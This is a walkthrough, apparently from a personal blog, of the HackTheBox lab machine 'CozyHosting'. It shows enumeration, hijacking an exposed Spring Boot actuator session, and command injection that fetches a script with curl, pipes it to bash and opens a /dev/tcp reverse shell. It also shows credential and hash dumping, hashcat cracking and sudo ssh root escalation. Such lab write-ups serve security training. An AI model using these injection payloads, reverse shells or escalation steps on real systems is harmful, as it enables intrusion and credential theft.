hi@hectortoral.com

CozyHosting

linux · easy

Enumeration

To begin with, we launch a scan to see what ports we have open to see what services the machine has exposed.

(command explanation)

sudo nmap -p- -n -Pn --disable-arp-ping -sS -sV -sC -vvv -T5 10.10.11.230 -oN cozyHosting

PORT    STATE  SERVICE  REASON          VERSION
22/tcp  open   ssh      syn-ack ttl 63  OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp  open   http     syn-ack ttl 63  nginx 1.18.0 (Ubuntu)

The scan shows ports 22 (SSH) and 80 (Nginx) open, with port 80 redirecting to the domain cozyhosting.htb, so let’s add this vHost to our /etc/hosts file

echo "10.10.11.230 cozyhosting.htb" | sudo tee -a /etc/hosts
certificate icon previous icon next icon
certificate icon
share icon add icon settings icon

ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FFUZ -u http://cozyhosting.htb/FFUZ -ic -c -t 100 --mc all -fc 404

index                   [Status: 200, Size: 12706, Words: 4263, Lines: 285]
login                   [Status: 200, Size: 4431, Words: 1718, Lines: 97]
admin                   [Status: 401, Size: 97, Words: 1, Lines: 1]
logout                  [Status: 204, Size: 0, Words: 1, Lines: 1]
error                   [Status: 500, Size: 73, Words: 1, Lines: 1]

On the login page I can’t get access by using the default credentials.

certificate icon previous icon next icon
certificate icon
share icon add icon settings icon

However, when navigating to /error you get an error page with a header that says Whitelabel Error Page. This reveals that this application is using SpringBoot.

certificate icon previous icon next icon
certificate icon
share icon add icon settings icon

Now we can run our analysis again, now using a Spring Boot specific word list.

ffuf -w /usr/share/seclists/Discovery/Web-Content/spring-boot.txt:FFUZ -u http://cozyhosting.htb/FFUZ -ic -c -t 100 --mc all -fc 404

actuator                [Status: 200, Size: 634, Words: 1, Lines: 1]
actuator/env/lang       [Status: 200, Size: 487, Words: 13, Lines: 1]
actuator/health         [Status: 200, Size: 15, Words: 1, Lines: 1]
actuator/mappings       [Status: 200, Size: 9938, Words: 108, Lines: 1]
actuator/sessions       [Status: 200, Size: 48, Words: 1, Lines: 1]
actuator/env/home       [Status: 200, Size: 487, Words: 13, Lines: 1]
actuator/env/path       [Status: 200, Size: 487, Words: 13, Lines: 1]
actuator/beans          [Status: 200, Size: 127224, Words: 542, Lines: 1]
actuator/env            [Status: 200, Size: 4957, Words: 120, Lines: 1]

We see that the actuator endpoint is exposed, which is mainly used for debugging purposes in Spring Boot applications. The Spring Boot actuator module provides a collection of built-in endpoints that expose different types of information and operations in an application.

Foothold

Upon exploring the actuator endpoint, we find the /actuator/mappings endpoint. This shows a detailed view of the entire application configuration. Browsing the endpoint, we see a JSON response containing information about the existing request mappings, including the methods of the requests GET, POST, …

certificate icon previous icon next icon
certificate icon
share icon add icon settings icon

By visiting the actuator/sessions endpoint, we can list all active sessions and their session identifiers.

certificate icon previous icon next icon
certificate icon
share icon add icon settings icon

We see the kanderson session identifier, which we can grab and set as a cookie in our browser, using the Storage tab of the developer console

certificate icon previous icon next icon
certificate icon
share icon add icon settings icon

once the cookie has been set, we proceed to navigate to /admin where we can see that we are logged in as kanderson

certificate icon previous icon next icon
certificate icon
share icon add icon settings icon

At the bottom of the page, we see a form for automatic patching. We try to submit the form with the user name test and the host name 127.0.0.1, we get an error indicating that the host was not added with a description: Host key verification failed.

certificate icon previous icon next icon
certificate icon
share icon add icon settings icon

Exploitation

For testing purposes, let’s try to perform a command injection by performing a curl to my local machine for this we raise a local web server with the following python command

python3 -m http.server 7000

and typing in the form the following values:

hostname: 127.0.0.1
username: test:curl${IFS}http://10.10.14.63:7000

next, we create a revershell and follow the same procedure.

#!/usr/bin/env bash
sh -i >& /dev/tcp/10.10.14.63/5000 0>&1
nc -lnvp 5000
test;curl${IFS}http://10.10.14.63:7000/rev.sh|bash;

Post Exploitation

once inside, we improve our shell with the hacktricks guide

Once inside, we see a .jar (Java Archive) file called cloudhosting-0.0.1.jar and we extract it to the /tmp/app directory using the -d flag in unzip, which specifies the destination folder.

unzip -d /tmp/app cloudhosting-0.0.1.jar

As we know that it is an application made with spring boot, we can look for the application.properties file inside the /tmp/app folder.

find . -name "application.properties"

./BOOT-INF/classes/application.properties

after making cat to the mentioned file, we obtain the following information among which are the access keys to a postgres bbdd (I have formatted the information).

server:
  address: 127.0.0.1
  servlet:
    session:
      timeout: 5m
management:
  endpoints:
    web:
      exposure:
        include: health,beans,env,sessions,mappings
    sessions:
      enabled: true
spring:
  datasource:
    driver-class-name: org.postgresql.Driver
    platform: postgres
    url: jdbc:postgresql://localhost:5432/cozyhosting
    username: postgres
    password: Vg&nvzAQ7XxR
  jpa:
    database-platform: org.hibernate.dialect.PostgreSQLDialect
    hibernate:
      ddl-auto: none
    database: POSTGRESQL

The file reveals the credentials postgres:Vg&nvzAQ7XxR, with which we can connect to the local instance of PostgreSQL instance.

psql -h 127.0.0.1 -U postgres

Listing all available databases, we note the presence of the cozyhosting database.

\list
NameOwnerEncodingCollateCtypeAccess privileges
cozyhostingpostgresUTF8en_US.UTF-8en_US.UTF-8
postgrespostgresUTF8en_US.UTF-8en_US.UTF-8
template0postgresUTF8en_US.UTF-8en_US.UTF-8=c/postgres postgres=CTc/postgres
template1postgresUTF8en_US.UTF-8en_US.UTF-8=c/postgres postgres=CTc/postgres

We connect to the database using the \connect directive.

\connect cozyhosting

Once we have successfully connected to the database, we can use the \dt command to list all the available tables in the database.

SchemaNameTypeOwner
publichoststablepostgres
publicuserstablepostgres

next we can make a query to list the information in the users table

select * from users;
kanderson:
  password: $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim
  role: User
admin:
  password: $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm
  role: Admin

On the other hand, if we wanted to have seen the roles that the tables have we could have executed:

SELECT table_name, grantee, privilege_type
FROM information_schema.role_table_grants
WHERE table_schema = 'public';

 table_name | grantee  | privilege_type 
------------+----------+----------------
 users      | postgres | INSERT
 users      | postgres | SELECT
 users      | postgres | UPDATE
 users      | postgres | DELETE
 users      | postgres | TRUNCATE
 users      | postgres | REFERENCES
 users      | postgres | TRIGGER
 hosts      | postgres | INSERT
 hosts      | postgres | SELECT
 hosts      | postgres | UPDATE
 hosts      | postgres | DELETE
 hosts      | postgres | TRUNCATE
 hosts      | postgres | REFERENCES
 hosts      | postgres | TRIGGER

As a result, we have found two password hashes: one for user kanderson and one for user Admin . We use hashid to identify the type of hash:

hashid $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm

Analyzing '$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm'
[+] Blowfish(OpenBSD)
[+] Woltlab Burning Board 4.x
[+] bcrypt

Considering that these hashes come from a web application, in this case made with Spring Boot, one of the most likely candidates is bcrypt. We save the admin hash in a file and try to crack it using Hashcat, with mode 3200 for bcrypt.

hashcat hash -m 3200 /usr/share/seclists/Passwords/Leaked-Databases/rockyou-50.txt

$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm:manchesterunited

returning to the victim machine, we exit with \q or \quit and see which users are on the system.

app@cozyhosting:/tmp/app$ cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
<...SNIP...>
app:x:1001:1001::/home/app:/bin/sh
postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
josh:x:1003:1003::/home/josh:/usr/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false

we try to connect via ssh to the machine with the following credentials josh:manchesterunited

ssh josh@10.10.11.230

and finally we get the user’s flag

josh@cozyhosting:~$ cat user.txt
fd79dfb77157895eb84280b58a42af44

Privilege escalation

Upon checking the sudo permissions for the user josh, we discover that they can run /usr/bin/ssh as root

josh@cozyhosting:~$ sudo -l
[sudo] password for josh: 
Matching Defaults entries for josh on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User josh may run the following commands on localhost:
    (root) /usr/bin/ssh *

Reading through the ssh documentation and this link, we can see that using the -o option we can execute a local command, so that when we execute the command /bin/bash, after connecting to the machine we get a shell as root.

sudo /usr/bin/ssh -o PermitLocalCommand=yes -o 'LocalCommand=/bin/bash' josh@127.0.0.1

and finally we get the last flag

root@cozyhosting:~# cat root.txt
6b665d141bccb338bc9c15bc65a2b300